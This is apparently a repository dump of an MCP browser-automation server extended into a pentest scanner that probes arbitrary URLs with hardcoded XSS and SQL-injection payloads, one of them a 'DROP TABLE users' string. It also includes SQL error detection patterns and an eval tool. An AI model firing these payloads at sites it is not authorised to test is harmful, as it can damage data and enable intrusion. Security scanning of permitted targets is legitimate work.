#
tokens: 10164/50000 6/6 files
lines: on (toggle) GitHub
raw markdown copy reset
# Directory Structure

```
├── .gitignore
├── .nvmrc
├── index.ts
├── LICENSE
├── package.json
├── README.md
├── sql.png
├── tsconfig.json
├── xss.png
└── yarn.lock
```

# Files

--------------------------------------------------------------------------------
/.nvmrc:
--------------------------------------------------------------------------------

```
1 | v20.16.0
2 | 
```

--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------

```
1 | node_modules
2 | dist
3 | 
```

--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------

```markdown
  1 | <h1 align="center">MCP Server Pentest</h1>
  2 | 
  3 | 
  4 | ## Features
  5 | 
  6 | - Full browser xss, sql vulnerability automatic detection
  7 | - Screenshots of the entire page or specific elements
  8 | - Comprehensive network interaction (navigation, clicks, form filling)
  9 | - Console log monitoring
 10 | - JavaScript execution in the browser context
 11 | 
 12 | ## Installation
 13 | 
 14 | ### Installing 
 15 | 
 16 | ```
 17 | npx playwright install firefox
 18 | yarn install 
 19 | npm run build 
 20 | ```
 21 | 
 22 | ## Configuration
 23 | 
 24 | The installation process will automatically add the following configuration to your Claude config file:
 25 | 
 26 | ```json
 27 | {
 28 |   "mcpServers": {
 29 |     "playwright": {
 30 |       "command": "npx",
 31 |       "args": [
 32 |         "-y",
 33 |         "/Users/...../dist/index.js"
 34 |       ],
 35 |       "disabled": false,
 36 |       "autoApprove": []
 37 |     }
 38 |   }
 39 | }
 40 | ```
 41 | 
 42 | ## Components
 43 | 
 44 | ### Tools
 45 | 
 46 | 
 47 | #### `broser_url_reflected_xss`
 48 | Test whether the URL has an XSS vulnerability
 49 | ```javascript
 50 | {
 51 |   "url": "https://test.com",
 52 |   "paramName":"text"
 53 | }
 54 | ```
 55 | ![](xss.png)
 56 | 
 57 | 
 58 | #### `browser_url_sql_injection`
 59 | 
 60 | Test whether the URL has SQL injection vulnerabilities
 61 | 
 62 | ```javascript
 63 | {
 64 |   "url": "https://test.com",
 65 |   "paramName":"text"
 66 | }
 67 | ```
 68 | 
 69 | ![](sql.png)
 70 | 
 71 | 
 72 | 
 73 | 
 74 | #### `browser_navigate`
 75 | Navigate to any URL in the browser
 76 | ```javascript
 77 | {
 78 |   "url": "https://stealthbrowser.cloud"
 79 | }
 80 | ```
 81 | 
 82 | #### `browser_screenshot`
 83 | Capture screenshots of the entire page or specific elements
 84 | ```javascript
 85 | {
 86 |   "name": "screenshot-name",     // required
 87 |   "selector": "#element-id",     // optional
 88 |   "fullPage": true              // optional, default: false
 89 | }
 90 | ```
 91 | 
 92 | #### `browser_click`
 93 | Click elements on the page using CSS selector
 94 | ```javascript
 95 | {
 96 |   "selector": "#button-id"
 97 | }
 98 | ```
 99 | 
100 | #### `browser_click_text`
101 | Click elements on the page by their text content
102 | ```javascript
103 | {
104 |   "text": "Click me"
105 | }
106 | ```
107 | 
108 | #### `browser_hover`
109 | Hover over elements on the page using CSS selector
110 | ```javascript
111 | {
112 |   "selector": "#menu-item"
113 | }
114 | ```
115 | 
116 | #### `browser_hover_text`
117 | Hover over elements on the page by their text content
118 | ```javascript
119 | {
120 |   "text": "Hover me"
121 | }
122 | ```
123 | 
124 | #### `browser_fill`
125 | Fill out input fields
126 | ```javascript
127 | {
128 |   "selector": "#input-field",
129 |   "value": "Hello World"
130 | }
131 | ```
132 | 
133 | #### `browser_select`
134 | Select an option in a SELECT element using CSS selector
135 | ```javascript
136 | {
137 |   "selector": "#dropdown",
138 |   "value": "option-value"
139 | }
140 | ```
141 | 
142 | #### `browser_select_text`
143 | Select an option in a SELECT element by its text content
144 | ```javascript
145 | {
146 |   "text": "Choose me",
147 |   "value": "option-value"
148 | }
149 | ```
150 | 
151 | #### `browser_evaluate`
152 | Execute JavaScript in the browser console
153 | ```javascript
154 | {
155 |   "script": "document.title"
156 | }
157 | ```
158 | 
159 | 
160 | 
```

--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------

```json
 1 | {
 2 |   "compilerOptions": {
 3 |     "target": "ES2022",
 4 |     "module": "NodeNext",
 5 |     "moduleResolution": "NodeNext",
 6 |     "strict": true,
 7 |     "esModuleInterop": true,
 8 |     "skipLibCheck": true,
 9 |     "forceConsistentCasingInFileNames": true,
10 |     "resolveJsonModule": true,
11 |     "outDir": "./dist",
12 |     "rootDir": ".",
13 |   },
14 |   "include": [
15 |     "./**/*.ts"
16 |   ],
17 |   "exclude": ["node_modules"]
18 | }
19 | 
```

--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------

```json
 1 | {
 2 |   "name": "@automatalabs/mcp-server-playwright",
 3 |   "version": "1.2.1",
 4 |   "description": "MCP server for browser automation using Playwright",
 5 |   "license": "MIT",
 6 |   "author": "Automata Labs (https://automatalabs.io)",
 7 |   "homepage": "https://automatalabs.io",
 8 |   "repository": {
 9 |     "type": "git",
10 |     "url": "git+https://github.com/Automata-Labs-team/MCP-Server-Playwright.git"
11 |   },
12 |   "bugs": "https://github.com/Automata-Labs-team/MCP-Server-Playwright/issues",
13 |   "type": "module",
14 |   "bin": {
15 |     "mcp-server-playwright": "dist/index.js"
16 |   },
17 |   "files": [
18 |     "dist"
19 |   ],
20 |   "scripts": {
21 |     "build": "tsc && shx chmod +x dist/*.js",
22 |     "prepare": "npm run build",
23 |     "watch": "tsc --watch"
24 |   },
25 |   "dependencies": {
26 |     "@modelcontextprotocol/sdk": "0.5.0",
27 |     "playwright": "^1.48.0",
28 |     "yargs": "^17.7.2"
29 |   },
30 |   "devDependencies": {
31 |     "@types/node": "^22.10.2",
32 |     "@types/yargs": "^17.0.33",
33 |     "shx": "^0.3.4",
34 |     "typescript": "^5.6.2"
35 |   }
36 | }
```

--------------------------------------------------------------------------------
/index.ts:
--------------------------------------------------------------------------------

```typescript
  1 | #!/usr/bin/env node
  2 | 
  3 | import yargs from "yargs/yargs";
  4 | import { hideBin } from 'yargs/helpers'
  5 | import os from "os";
  6 | import path from "path";
  7 | import { promises as fs } from "fs";
  8 | import { Server } from "@modelcontextprotocol/sdk/server/index.js";
  9 | import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
 10 | import {
 11 |   CallToolRequestSchema,
 12 |   ListResourcesRequestSchema,
 13 |   ListToolsRequestSchema,
 14 |   ReadResourceRequestSchema,
 15 |   CallToolResult,
 16 |   TextContent,
 17 |   ImageContent,
 18 |   Tool,
 19 | } from "@modelcontextprotocol/sdk/types.js";
 20 | import playwright, { Browser, Page } from "playwright";
 21 | 
 22 | enum ToolName {
 23 |   BrowserNavigate = "browser_navigate",
 24 |   BrowserScreenshot = "browser_screenshot",
 25 |   BrowserClick = "browser_click",
 26 |   BrowserClickText = "browser_click_text",
 27 |   BrowserFill = "browser_fill",
 28 |   BrowserSelect = "browser_select",
 29 |   BrowserSelectText = "browser_select_text",
 30 |   BrowserHover = "browser_hover",
 31 |   BrowserHoverText = "browser_hover_text",
 32 |   BrowserEvaluate = "browser_evaluate",
 33 |   BrowserUrlReflectedXss = "broser_url_reflected_xss",
 34 |   BrowserUrlSqlInjection = "browser_url_sql_injection"
 35 | }
 36 | 
 37 | // Define the tools once to avoid repetition
 38 | const TOOLS: Tool[] = [
 39 |   {
 40 |     name: ToolName.BrowserNavigate,
 41 |     description: "Navigate to a URL",
 42 |     inputSchema: {
 43 |       type: "object",
 44 |       properties: {
 45 |         url: { type: "string" },
 46 |       },
 47 |       required: ["url"],
 48 |     },
 49 |   },
 50 |   {
 51 |     name: ToolName.BrowserScreenshot,
 52 |     description: "Take a screenshot of the current page or a specific element",
 53 |     inputSchema: {
 54 |       type: "object",
 55 |       properties: {
 56 |         name: { type: "string", description: "Name for the screenshot" },
 57 |         selector: { type: "string", description: "CSS selector for element to screenshot" },
 58 |         fullPage: { type: "boolean", description: "Take a full page screenshot (default: false)", default: false },
 59 |       },
 60 |       required: ["name"],
 61 |     },
 62 |   },
 63 |   {
 64 |     name: ToolName.BrowserClick,
 65 |     description: "Click an element on the page using CSS selector",
 66 |     inputSchema: {
 67 |       type: "object",
 68 |       properties: {
 69 |         selector: { type: "string", description: "CSS selector for element to click" },
 70 |       },
 71 |       required: ["selector"],
 72 |     },
 73 |   },
 74 |   {
 75 |     name: ToolName.BrowserUrlReflectedXss,
 76 |     description: "Test whether the URL has an XSS vulnerability",
 77 |     inputSchema: {
 78 |       type: "object",
 79 |       properties: {
 80 |         url: { type: "string" },
 81 |         paramName: { type: "string", description: "Parameter name for XSS testing" },
 82 |       },
 83 |       required: ["url"],
 84 |     },
 85 |   },
 86 |   {
 87 |     name: ToolName.BrowserClickText,
 88 |     description: "Click an element on the page by its text content",
 89 |     inputSchema: {
 90 |       type: "object",
 91 |       properties: {
 92 |         text: { type: "string", description: "Text content of the element to click" },
 93 |       },
 94 |       required: ["text"],
 95 |     },
 96 |   },
 97 |   {
 98 |     name: ToolName.BrowserFill,
 99 |     description: "Fill out an input field",
100 |     inputSchema: {
101 |       type: "object",
102 |       properties: {
103 |         selector: { type: "string", description: "CSS selector for input field" },
104 |         value: { type: "string", description: "Value to fill" },
105 |       },
106 |       required: ["selector", "value"],
107 |     },
108 |   },
109 |   {
110 |     name: ToolName.BrowserSelect,
111 |     description: "Select an element on the page with Select tag using CSS selector",
112 |     inputSchema: {
113 |       type: "object",
114 |       properties: {
115 |         selector: { type: "string", description: "CSS selector for element to select" },
116 |         value: { type: "string", description: "Value to select" },
117 |       },
118 |       required: ["selector", "value"],
119 |     },
120 |   },
121 |   {
122 |     name: ToolName.BrowserSelectText,
123 |     description: "Select an element on the page with Select tag by its text content",
124 |     inputSchema: {
125 |       type: "object",
126 |       properties: {
127 |         text: { type: "string", description: "Text content of the element to select" },
128 |         value: { type: "string", description: "Value to select" },
129 |       },
130 |       required: ["text", "value"],
131 |     },
132 |   },
133 |   {
134 |     name: ToolName.BrowserHover,
135 |     description: "Hover an element on the page using CSS selector",
136 |     inputSchema: {
137 |       type: "object",
138 |       properties: {
139 |         selector: { type: "string", description: "CSS selector for element to hover" },
140 |       },
141 |       required: ["selector"],
142 |     },
143 |   },
144 |   {
145 |     name: ToolName.BrowserHoverText,
146 |     description: "Hover an element on the page by its text content",
147 |     inputSchema: {
148 |       type: "object",
149 |       properties: {
150 |         text: { type: "string", description: "Text content of the element to hover" },
151 |       },
152 |       required: ["text"],
153 |     },
154 |   },
155 |   {
156 |     name: ToolName.BrowserEvaluate,
157 |     description: "Execute JavaScript in the browser console",
158 |     inputSchema: {
159 |       type: "object",
160 |       properties: {
161 |         script: { type: "string", description: "JavaScript code to execute" },
162 |       },
163 |       required: ["script"],
164 |     },
165 |   },
166 |   {
167 |     name: ToolName.BrowserUrlSqlInjection,
168 |     description: "Test whether the URL has SQL injection vulnerabilities",
169 |     inputSchema: {
170 |       type: "object",
171 |       properties: {
172 |         url: { type: "string" },
173 |         paramName: { type: "string", description: "Parameter name for SQL injection testing" },
174 |       },
175 |       required: ["url"],
176 |     },
177 |   },
178 | ];
179 | 
180 | // Global state
181 | let browser: Browser | undefined;
182 | let page: Page | undefined;
183 | const consoleLogs: string[] = [];
184 | const screenshots = new Map<string, string>();
185 | 
186 | async function ensureBrowser() {
187 |   if (!browser) {
188 |     browser = await playwright.firefox.launch({ headless: false });
189 |   }
190 | 
191 |   if (!page) {
192 |     page = await browser.newPage();
193 |   }
194 | 
195 |   page.on("console", (msg) => {
196 |     const logEntry = `[${msg.type()}] ${msg.text()}`;
197 |     consoleLogs.push(logEntry);
198 |     server.notification({
199 |       method: "notifications/resources/updated",
200 |       params: { uri: "console://logs" },
201 |     });
202 |   });
203 |   return page!;
204 | }
205 | 
206 | async function handleToolCall(name: ToolName, args: any): Promise<CallToolResult> {
207 |   const page = await ensureBrowser();
208 | 
209 |   switch (name) {
210 |     case ToolName.BrowserNavigate:
211 |       await page.goto(args.url);
212 |       return {
213 |         content: [{
214 |           type: "text",
215 |             text: `Navigated to ${args.url}`,
216 |           }],
217 |         isError: false,
218 |       };
219 | 
220 |     case ToolName.BrowserScreenshot: {
221 |       const fullPage = (args.fullPage === 'true');
222 | 
223 |       const screenshot = await (args.selector ?
224 |         page.locator(args.selector).screenshot() :
225 |         page.screenshot({ fullPage }));
226 |       const base64Screenshot = screenshot.toString('base64');
227 | 
228 |       if (!base64Screenshot) {
229 |         return {
230 |           content: [{
231 |             type: "text",
232 |             text: args.selector ? `Element not found: ${args.selector}` : "Screenshot failed",
233 |           }],
234 |           isError: true,
235 |         };
236 |       }
237 | 
238 |       screenshots.set(args.name, base64Screenshot);
239 |       server.notification({
240 |         method: "notifications/resources/list_changed",
241 |       });
242 | 
243 |       return {
244 |         content: [
245 |           {
246 |             type: "text",
247 |             text: `Screenshot '${args.name}' taken`,
248 |           } as TextContent,
249 |           {
250 |             type: "image",
251 |               data: base64Screenshot,
252 |               mimeType: "image/png",
253 |             } as ImageContent,
254 |           ],
255 |         isError: false,
256 |       };
257 |     }
258 | 
259 |     case ToolName.BrowserClick:
260 |       try {
261 |         await page.locator(args.selector).click();
262 |         return {
263 |           content: [{
264 |             type: "text",
265 |             text: `Clicked: ${args.selector}`,
266 |           }],
267 |           isError: false,
268 |         };
269 |       } catch (error) {
270 |         if((error as Error).message.includes("strict mode violation")) {
271 |             console.log("Strict mode violation, retrying on first element...");
272 |             try {
273 |                 await page.locator(args.selector).first().click();
274 |                 return {
275 |                     content: [{
276 |                         type: "text",
277 |                         text: `Clicked: ${args.selector}`,
278 |                     }],
279 |                     isError: false,
280 |                 };
281 |             } catch (error) {
282 |                 return {
283 |                     content: [{
284 |                         type: "text",
285 |                         text: `Failed (twice) to click ${args.selector}: ${(error as Error).message}`,
286 |                     }],
287 |                     isError: true,
288 |                 };
289 |             }
290 |         }
291 |         
292 |         return {
293 |           content: [{
294 |             type: "text",
295 |             text: `Failed to click ${args.selector}: ${(error as Error).message}`,
296 |           }],
297 |           isError: true,
298 |         };
299 |       }
300 | 
301 |     case ToolName.BrowserClickText:
302 |       try {
303 |         await page.getByText(args.text).click();
304 |         return {
305 |           content: [{
306 |             type: "text",
307 |             text: `Clicked element with text: ${args.text}`,
308 |           }],
309 |           isError: false,
310 |         };
311 |       } catch (error) {
312 |         if((error as Error).message.includes("strict mode violation")) {
313 |             console.log("Strict mode violation, retrying on first element...");
314 |             try {
315 |                 await page.getByText(args.text).first().click();
316 |                 return {
317 |                     content: [{
318 |                         type: "text",
319 |                         text: `Clicked element with text: ${args.text}`,
320 |                     }],
321 |                     isError: false,
322 |                 };
323 |             } catch (error) {
324 |                 return {
325 |                     content: [{
326 |                         type: "text",
327 |                         text: `Failed (twice) to click element with text ${args.text}: ${(error as Error).message}`,
328 |                     }],
329 |                     isError: true,
330 |                 };
331 |             }
332 |         }
333 |         return {
334 |           content: [{
335 |             type: "text",
336 |             text: `Failed to click element with text ${args.text}: ${(error as Error).message}`,
337 |           }],
338 |           isError: true,
339 |         };
340 |       }
341 | 
342 |     case ToolName.BrowserFill:
343 |       try {
344 |         await page.locator(args.selector).pressSequentially(args.value, { delay: 100 });
345 |         return {
346 |           content: [{
347 |             type: "text",
348 |               text: `Filled ${args.selector} with: ${args.value}`,
349 |             }],
350 |           isError: false,
351 |         };
352 |       } catch (error) {
353 |         if((error as Error).message.includes("strict mode violation")) {
354 |             console.log("Strict mode violation, retrying on first element...");
355 |             try {
356 |                 await page.locator(args.selector).first().pressSequentially(args.value, { delay: 100 });
357 |                 return {
358 |                     content: [{
359 |                         type: "text",
360 |                         text: `Filled ${args.selector} with: ${args.value}`,
361 |                     }],
362 |                     isError: false,
363 |                 };
364 |             } catch (error) {
365 |                 return {
366 |                     content: [{
367 |                         type: "text",
368 |                         text: `Failed (twice) to fill ${args.selector}: ${(error as Error).message}`,
369 |                     }],
370 |                     isError: true,
371 |                 };
372 |             }
373 |         }
374 |         return {
375 |           content: [{
376 |             type: "text",
377 |               text: `Failed to fill ${args.selector}: ${(error as Error).message}`,
378 |             }],
379 |           isError: true,
380 |         };
381 |       }
382 | 
383 |     case ToolName.BrowserSelect:
384 |       try {
385 |         await page.locator(args.selector).selectOption(args.value);
386 |         return {
387 |           content: [{
388 |             type: "text",
389 |               text: `Selected ${args.selector} with: ${args.value}`,
390 |             }],
391 |           isError: false,
392 |         };
393 |       } catch (error) {
394 |         if((error as Error).message.includes("strict mode violation")) {
395 |             console.log("Strict mode violation, retrying on first element...");
396 |             try {
397 |                 await page.locator(args.selector).first().selectOption(args.value);
398 |                 return {
399 |                     content: [{
400 |                         type: "text",
401 |                         text: `Selected ${args.selector} with: ${args.value}`,
402 |                     }],
403 |                     isError: false,
404 |                 };
405 |             } catch (error) {
406 |                 return {
407 |                     content: [{
408 |                         type: "text",
409 |                         text: `Failed (twice) to select ${args.selector}: ${(error as Error).message}`,
410 |                     }],
411 |                     isError: true,
412 |                 };
413 |             }
414 |         }
415 |         return {
416 |           content: [{
417 |             type: "text",
418 |               text: `Failed to select ${args.selector}: ${(error as Error).message}`,
419 |             }],
420 |           isError: true,
421 |         };
422 |       }
423 | 
424 |     case ToolName.BrowserSelectText:
425 |       try {
426 |         await page.getByText(args.text).selectOption(args.value);
427 |         return {
428 |           content: [{
429 |             type: "text",
430 |             text: `Selected element with text ${args.text} with value: ${args.value}`,
431 |           }],
432 |           isError: false,
433 |         };
434 |       } catch (error) {
435 |         if((error as Error).message.includes("strict mode violation")) {
436 |             console.log("Strict mode violation, retrying on first element...");
437 |             try {
438 |                 await page.getByText(args.text).first().selectOption(args.value);
439 |                 return {
440 |                     content: [{
441 |                         type: "text",
442 |                         text: `Selected element with text ${args.text} with value: ${args.value}`,
443 |                     }],
444 |                     isError: false,
445 |                 };
446 |             } catch (error) {
447 |                 return {
448 |                     content: [{
449 |                         type: "text",
450 |                         text: `Failed (twice) to select element with text ${args.text}: ${(error as Error).message}`,
451 |                     }],
452 |                     isError: true,
453 |                 };
454 |             }
455 |         }
456 |         return {
457 |           content: [{
458 |             type: "text",
459 |             text: `Failed to select element with text ${args.text}: ${(error as Error).message}`,
460 |           }],
461 |           isError: true,
462 |         };
463 |       }
464 | 
465 |     case ToolName.BrowserHover:
466 |       try {
467 |         await page.locator(args.selector).hover();
468 |         return {
469 |           content: [{
470 |             type: "text",
471 |               text: `Hovered ${args.selector}`,
472 |             }],
473 |           isError: false,
474 |         };
475 |       } catch (error) {
476 |         if((error as Error).message.includes("strict mode violation")) {
477 |             console.log("Strict mode violation, retrying on first element...");
478 |             try {
479 |                 await page.locator(args.selector).first().hover();
480 |                 return {
481 |                     content: [{
482 |                         type: "text",
483 |                         text: `Hovered ${args.selector}`,
484 |                     }],
485 |                     isError: false,
486 |                 };
487 |             } catch (error) {
488 |                 return {
489 |                     content: [{
490 |                         type: "text",
491 |                         text: `Failed to hover ${args.selector}: ${(error as Error).message}`,
492 |                     }],
493 |                     isError: true,
494 |                 };
495 |             }
496 |         }
497 |         return {
498 |           content: [{
499 |             type: "text",
500 |               text: `Failed to hover ${args.selector}: ${(error as Error).message}`,
501 |             }],
502 |           isError: true,
503 |         };
504 |       }
505 | 
506 |     case ToolName.BrowserHoverText:
507 |       try {
508 |         await page.getByText(args.text).hover();
509 |         return {
510 |           content: [{
511 |             type: "text",
512 |             text: `Hovered element with text: ${args.text}`,
513 |           }],
514 |           isError: false,
515 |         };
516 |       } catch (error) {
517 |         if((error as Error).message.includes("strict mode violation")) {
518 |             console.log("Strict mode violation, retrying on first element...");
519 |             try {
520 |                 await page.getByText(args.text).first().hover();
521 |                 return {
522 |                     content: [{
523 |                         type: "text",
524 |                         text: `Hovered element with text: ${args.text}`,
525 |                     }],
526 |                     isError: false,
527 |                 };
528 |             } catch (error) {
529 |                 return {
530 |                     content: [{
531 |                         type: "text",
532 |                         text: `Failed (twice) to hover element with text ${args.text}: ${(error as Error).message}`,
533 |                     }],
534 |                     isError: true,
535 |                 };
536 |             }
537 |         }
538 |         return {
539 |           content: [{
540 |             type: "text",
541 |             text: `Failed to hover element with text ${args.text}: ${(error as Error).message}`,
542 |           }],
543 |           isError: true,
544 |         };
545 |       }
546 | 
547 |     case ToolName.BrowserUrlReflectedXss: {
548 |       const baseUrl = args.url;
549 |       const paramName = args.paramName || 'name';
550 |       const xssPayloads = [
551 |         "<script>alert(1)</script>",
552 |         "\"><script>alert(1)</script>",
553 |         "javascript:alert(1)",
554 |         "<img src=x onerror=alert(1)>",
555 |         "<svg onload=alert(1)>",
556 |         "';alert(1);//"
557 |       ];
558 |       
559 |       let vulnerablePayloads = [];
560 |       
561 |       for (const payload of xssPayloads) {
562 |         const encodedPayload = encodeURIComponent(payload);
563 |         const testUrl = `${baseUrl}${baseUrl.includes('?') ? '&' : '?'}${paramName}=${encodedPayload}`;
564 |         
565 |         try {
566 |           await page.goto(testUrl);
567 |           
568 |           // 检查页面源代码中是否包含未编码的payload
569 |           const content = await page.content();
570 |           const decodedPayload = decodeURIComponent(payload);
571 |           
572 |           if (content.includes(decodedPayload)) {
573 |             vulnerablePayloads.push({
574 |               payload: payload,
575 |               url: testUrl
576 |             });
577 |           }
578 |           
579 |           // 检查是否有JavaScript执行
580 |           const hasXss = await page.evaluate((testPayload) => {
581 |             return document.documentElement.innerHTML.includes(testPayload);
582 |           }, payload);
583 |           
584 |           if (hasXss) {
585 |             vulnerablePayloads.push({
586 |               payload: payload,
587 |               url: testUrl
588 |             });
589 |           }
590 |         } catch (error) {
591 |           console.error(`Error testing payload ${payload}: ${error}`);
592 |         }
593 |       }
594 |       
595 |       if (vulnerablePayloads.length > 0) {
596 |         return {
597 |           content: [{
598 |             type: "text",
599 |             text: `发现反射型XSS漏洞!\n\n可利用的Payload:\n${vulnerablePayloads.map(v => 
600 |               `Payload: ${v.payload}\nURL: ${v.url}\n`
601 |             ).join('\n')}`
602 |           }],
603 |           isError: false
604 |         };
605 |       } else {
606 |         return {
607 |           content: [{
608 |             type: "text",
609 |             text: "未发现明显的反射型XSS漏洞。"
610 |           }],
611 |           isError: false
612 |         };
613 |       }
614 |     }
615 | 
616 |     case ToolName.BrowserUrlSqlInjection: {
617 |       const baseUrl = args.url;
618 |       const paramName = args.paramName || 'id';
619 |       const sqlPayloads = [
620 |         "1' OR '1'='1",
621 |         "1' OR '1'='1' --",
622 |         "1' OR '1'='1' #",
623 |         "1; DROP TABLE users--",
624 |         "1 UNION SELECT null,null,null--",
625 |         "1' UNION SELECT null,null,null--",
626 |         "admin' --",
627 |         "admin' #",
628 |         "' OR 1=1--",
629 |         "' OR 'x'='x",
630 |         "1' AND SLEEP(5)--",
631 |         "1' AND BENCHMARK(5000000,MD5(1))--",
632 |         "1' WAITFOR DELAY '0:0:5'--"
633 |       ];
634 |       
635 |       let vulnerablePayloads = [];
636 |       let originalResponse = '';
637 |       
638 |       try {
639 |         // 首先获取原始响应
640 |         await page.goto(baseUrl);
641 |         originalResponse = await page.content();
642 |       } catch (error) {
643 |         console.error(`Error getting original response: ${error}`);
644 |       }
645 |       
646 |       for (const payload of sqlPayloads) {
647 |         const encodedPayload = encodeURIComponent(payload);
648 |         const testUrl = `${baseUrl}${baseUrl.includes('?') ? '&' : '?'}${paramName}=${encodedPayload}`;
649 |         
650 |         try {
651 |           const startTime = Date.now();
652 |           await page.goto(testUrl);
653 |           const endTime = Date.now();
654 |           const responseTime = endTime - startTime;
655 |           
656 |           const newResponse = await page.content();
657 |           
658 |           // 检查SQL错误关键字
659 |           const sqlErrorPatterns = [
660 |             /SQL syntax/i,
661 |             /MySQL/i,
662 |             /ORA-[0-9][0-9][0-9][0-9]/,
663 |             /PostgreSQL/i,
664 |             /SQLite/i,
665 |             /SQLSTATE/,
666 |             /Microsoft SQL/i,
667 |             /ODBC Driver/i,
668 |             /DB2 SQL/i,
669 |             /Warning.*mysql_/i,
670 |             /Warning.*pg_/i,
671 |             /Warning.*sqlite_/i
672 |           ];
673 |           
674 |           const hasError = sqlErrorPatterns.some(pattern => pattern.test(newResponse));
675 |           
676 |           // 检查响应差异
677 |           const isDifferent = originalResponse !== newResponse;
678 |           
679 |           // 检查时间延迟(针对基于时间的注入)
680 |           const hasTimeDelay = responseTime > 5000 && payload.toLowerCase().includes('sleep') || 
681 |                              payload.toLowerCase().includes('benchmark') || 
682 |                              payload.toLowerCase().includes('waitfor');
683 |           
684 |           if (hasError || isDifferent || hasTimeDelay) {
685 |             vulnerablePayloads.push({
686 |               payload: payload,
687 |               url: testUrl,
688 |               reason: [
689 |                 hasError ? '发现SQL错误信息' : '',
690 |                 isDifferent ? '响应内容发生变化' : '',
691 |                 hasTimeDelay ? '发现时间延迟' : ''
692 |               ].filter(Boolean).join(', ')
693 |             });
694 |           }
695 |         } catch (error) {
696 |           console.error(`Error testing payload ${payload}: ${error}`);
697 |         }
698 |       }
699 |       
700 |       if (vulnerablePayloads.length > 0) {
701 |         return {
702 |           content: [{
703 |             type: "text",
704 |             text: `发现潜在的SQL注入漏洞!\n\n可能的漏洞点:\n${vulnerablePayloads.map(v => 
705 |               `Payload: ${v.payload}\nURL: ${v.url}\n原因: ${v.reason}\n`
706 |             ).join('\n')}`
707 |           }],
708 |           isError: false
709 |         };
710 |       } else {
711 |         return {
712 |           content: [{
713 |             type: "text",
714 |             text: "未发现明显的SQL注入漏洞。"
715 |           }],
716 |           isError: false
717 |         };
718 |       }
719 |     }
720 | 
721 |     case ToolName.BrowserEvaluate:
722 |       try {
723 |         const result = await page.evaluate((script) => {
724 |           const logs: string[] = [];
725 |           const originalConsole = { ...console };
726 | 
727 |           ['log', 'info', 'warn', 'error'].forEach(method => {
728 |             (console as any)[method] = (...args: any[]) => { 
729 |               logs.push(`[${method}] ${args.join(' ')}`);
730 |               (originalConsole as any)[method](...args);
731 |             };
732 |           });
733 | 
734 |           try {
735 |             const result = eval(script);
736 |             Object.assign(console, originalConsole);
737 |             return { result, logs };
738 |           } catch (error) {
739 |             Object.assign(console, originalConsole);
740 |             throw error;
741 |           }
742 |         }, args.script);
743 | 
744 |         return {
745 |           content: [
746 |             {
747 |                 type: "text",
748 |                 text: `Execution result:\n${JSON.stringify(result.result, null, 2)}\n\nConsole output:\n${result.logs.join('\n')}`,
749 |               },
750 |             ],
751 |           isError: false,
752 |         };
753 |       } catch (error) {
754 |         return {
755 |           content: [{
756 |             type: "text",
757 |               text: `Script execution failed: ${(error as Error).message}`,
758 |             }],
759 |           isError: true,
760 |         };
761 |       }
762 | 
763 |     default:
764 |       return {
765 |         content: [{
766 |           type: "text",
767 |             text: `Unknown tool: ${name}`,
768 |           }],
769 |         isError: true,
770 |       };
771 |   }
772 | }
773 | 
774 | const server = new Server(
775 |   {
776 |     name: "automatalabs/playwright",
777 |     version: "0.1.0",
778 |   },
779 |   {
780 |     capabilities: {
781 |       resources: {},
782 |       tools: {},
783 |     },
784 |   },
785 | );
786 | 
787 | 
788 | // Setup request handlers
789 | server.setRequestHandler(ListResourcesRequestSchema, async () => ({
790 |   resources: [
791 |     {
792 |       uri: "console://logs",
793 |       mimeType: "text/plain",
794 |       name: "Browser console logs",
795 |     },
796 |     ...Array.from(screenshots.keys()).map(name => ({
797 |       uri: `screenshot://${name}`,
798 |       mimeType: "image/png",
799 |       name: `Screenshot: ${name}`,
800 |     })),
801 |   ],
802 | }));
803 | 
804 | server.setRequestHandler(ReadResourceRequestSchema, async (request) => {
805 |   const uri = request.params.uri.toString();
806 | 
807 |   if (uri === "console://logs") {
808 |     return {
809 |       contents: [{
810 |         uri,
811 |         mimeType: "text/plain",
812 |         text: consoleLogs.join("\n"),
813 |       }],
814 |     };
815 |   }
816 | 
817 |   if (uri.startsWith("screenshot://")) {
818 |     const name = uri.split("://")[1];
819 |     const screenshot = screenshots.get(name);
820 |     if (screenshot) {
821 |       return {
822 |         contents: [{
823 |           uri,
824 |           mimeType: "image/png",
825 |           blob: screenshot,
826 |         }],
827 |       };
828 |     }
829 |   }
830 | 
831 |   throw new Error(`Resource not found: ${uri}`);
832 | });
833 | 
834 | 
835 | 
836 | async function runServer() {
837 |   const transport = new StdioServerTransport();
838 |   await server.connect(transport);
839 | 
840 |   server.setRequestHandler(ListToolsRequestSchema, async () => ({
841 |     tools: TOOLS,
842 |   }));
843 |   
844 |   server.setRequestHandler(CallToolRequestSchema, async (request) =>
845 |     handleToolCall(request.params.name as ToolName, request.params.arguments ?? {})
846 |   );
847 | }
848 | 
849 | async function checkPlatformAndInstall() {
850 |   const platform = os.platform();
851 |   if (platform === "win32") {
852 |     console.log("Installing MCP Playwright Server for Windows...");
853 |     try {
854 |       const configFilePath = path.join(os.homedir(), 'AppData', 'Roaming', 'Claude', 'claude_desktop_config.json');
855 |       
856 |       let config: any;
857 |       try {
858 |         // Try to read existing config file
859 |         const fileContent = await fs.readFile(configFilePath, 'utf-8');
860 |         config = JSON.parse(fileContent);
861 |       } catch (error) {
862 |         if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
863 |           // Create new config file with mcpServers object
864 |           config = { mcpServers: {} };
865 |           await fs.writeFile(configFilePath, JSON.stringify(config, null, 2), 'utf-8');
866 |           console.log("Created new Claude config file");
867 |         } else {
868 |           console.error("Error reading Claude config file:", error);
869 |           process.exit(1);
870 |         }
871 |       }
872 | 
873 |       // Ensure mcpServers exists
874 |       if (!config.mcpServers) {
875 |         config.mcpServers = {};
876 |       }
877 | 
878 |       // Update the playwright configuration
879 |       config.mcpServers.playwright = {
880 |         command: "npx",
881 |         args: ["-y", "@automatalabs/mcp-server-playwright"]
882 |       };
883 | 
884 |       // Write the updated config back to file
885 |       await fs.writeFile(configFilePath, JSON.stringify(config, null, 2), 'utf-8');
886 |       console.log("✓ Successfully updated Claude configuration");
887 |       
888 |     } catch (error) {
889 |       console.error("Error during installation:", error);
890 |       process.exit(1);
891 |     }
892 |   } else if (platform === "darwin") {
